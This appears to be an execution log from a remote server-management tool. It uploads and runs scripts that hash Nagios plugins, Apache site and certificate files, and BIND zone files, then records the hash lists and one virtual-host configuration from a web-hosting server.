                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-29 14:08:59: 

chmod 755 /tmp/pkp182565; /tmp/pkp182565; rm /tmp/pkp182565

2025-12-29 14:08:59: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2025-12-29 14:08:59: 

PUT: /tmp/pkp114419

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-29 14:08:59: 

chmod 755 /tmp/pkp114419; /tmp/pkp114419; rm /tmp/pkp114419

2025-12-29 14:08:59: 


status=ok


2025-12-29 14:08:59: 

PUT: /tmp/pkp328759

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 14:08:59: 

chmod 755 /tmp/pkp328759; /tmp/pkp328759; rm /tmp/pkp328759

2025-12-29 14:08:59: 
2025-12-29 14:08:59: 

PUT: /tmp/pkp793413

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/carelinks_new_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 14:08:59: 

chmod 755 /tmp/pkp793413; /tmp/pkp793413; rm /tmp/pkp793413

2025-12-29 14:08:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinks_new_net.conf	491

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= a1aba36d5064005600a72aab79017da9
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 74a225c1691d3c388c0dabd4c745b5b5
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= f7e21f5b7e2e70c74daf3348abe31a70
MD5(/etc/apache2/sites-available/carelinks_www_org-au.conf)= bea1c410df503f5c8a140930e02bdd8b
MD5(/etc/ssl/certs/05659106679de2a1894b27eede09c1b3.crt)= efe632de3aaf49888faf4b5510e1c8e0
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e59a421f795ac013c5d90bb30da825c1
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 1f21b071ddedee3af411dfedc7da6d06
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 3561de179ad84bfe0240150d635af61c
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= ac85e89c2da1ccffe799d1216dac3cd4
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= b99943fe4487d80bb2668dee0320a1ef
MD5(/etc/apache2/sites-available/biblealive_www_us.conf)= 4cb67e52d73ce98d31dcec0c352a3b06
MD5(/etc/ssl/certs/fd6dc6f9714389fe5b765b47ecb8e8c1.crt)= bf36eec93304c1c8bb7e36dad95ed775
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 72d2e7e74a64389a685b122d60458b4b
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 5338fc2406f652e606a4761b8a869341
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 97f0c7cc702a90836c67b6ebf7640328
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= 1e23754cf4e32c0828e679b1c9ef5e5b
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= 8dd7cc3fc4e74a2e03407fc9e9b68841
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/carelinksoutreach_www_info.conf)= cb44c1a0b360d4f45a5bdd2fbc6884d1
MD5(/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt)= d09c2eafe64fc36968d098a0b3a77660
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 0f1b9b5f9c4f20294bf8a018ef957115
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 0d92a6e13d6cc02c23ac829fbe250eaa
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 509d0d0c14b50d4539493a62cbe9e85e
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= da6d562ecaaa4a55a783e66cb4036e3f
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= 282b97e64eaee8c04ec8f3238e6cd5cc
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= e6bde7a938cbd28aa8ae8ba9d51a08ea
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 9c66a589c53c8a80e70c2326b3348a42
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 767dae78c2df4f568c9c6ace16907b6b
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-au.conf)= /etc/apache2/sites-available/carelinks_www_org-au.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/biblealive_www_us.conf)= /etc/apache2/sites-available/biblealive_www_us.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2/sites-available/carelinksoutreach_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp328759:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-29 14:09:00: Establishing a connection
2025-12-29 14:09:00: 

PUT: /tmp/pkp641644

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-29 14:09:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp641644; rm /tmp/pkp641644'

2025-12-29 14:09:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
